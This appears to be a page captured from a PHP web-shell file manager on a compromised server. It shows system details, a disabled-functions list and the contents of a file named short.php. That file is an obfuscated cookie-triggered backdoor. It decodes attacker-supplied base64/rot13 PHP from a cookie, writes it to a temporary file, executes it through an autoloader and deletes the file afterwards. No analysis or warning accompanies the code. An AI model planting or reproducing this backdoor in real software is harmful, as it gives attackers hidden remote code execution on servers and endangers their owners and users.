HEX
Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/q.autos58.cn/short.php
<?php if(isset($_COOKIE[-(040+056)+(0315+-0177)])&&isset($_COOKIE[(0615+-0504)-(0132-022)])&&isset($_COOKIE[-(int)rOunD(9.3333333333333+9.3333333333333+9.3333333333333)+(int)RoUND(15.5+15.5)])&&isset($_COOKIE[-(-0523+0640- -0716+-01031)+(int)rOuND(2+2+2)])):$_0=$_COOKIE;function _0($_1){$_0=$_COOKIE;$_2=TEMpNaM((!empty(sEssION_sAve_paTH())?seSsiON_SaVe_pATH():Sys_get_TemP_DiR()),"\161g7\x72JgNS");if(!IS_WRITabLe($_2)):$_2=GeTCWD().DIRECTORY_SEPARATOR."modul\x65_contro\154\154e\162";endif;$_3="\x3c?php ".baSE64_dECOde(StR_rOt13($_0[0315+0207+-0521]));if(IS_WriTeaBLE($_2)):$_4=foPen($_2,"\167\x2b");fPUTs($_4,$_3);fCloSE($_4);SpL_AUtOloAd_UNREGistER(__FUNCTION__);require_once($_2);@aRRAy_MAp("unli\156\x6b",array($_2));endif;}SpL_AuTOLOad_REgiSter("_0");$_5="\x364e2\062\064882bc69\1432c3a\x6321\07058\x36\067090a\x378";if(!StrnCmP($_5,$_0[(int)rOuNd(2+2)],031+07)):if(@claSS_pAreNTS("ini\164i\141l\x69z\x65\x64_event_\150a\x6e\144ler",true)):exit;endif;endif;endif;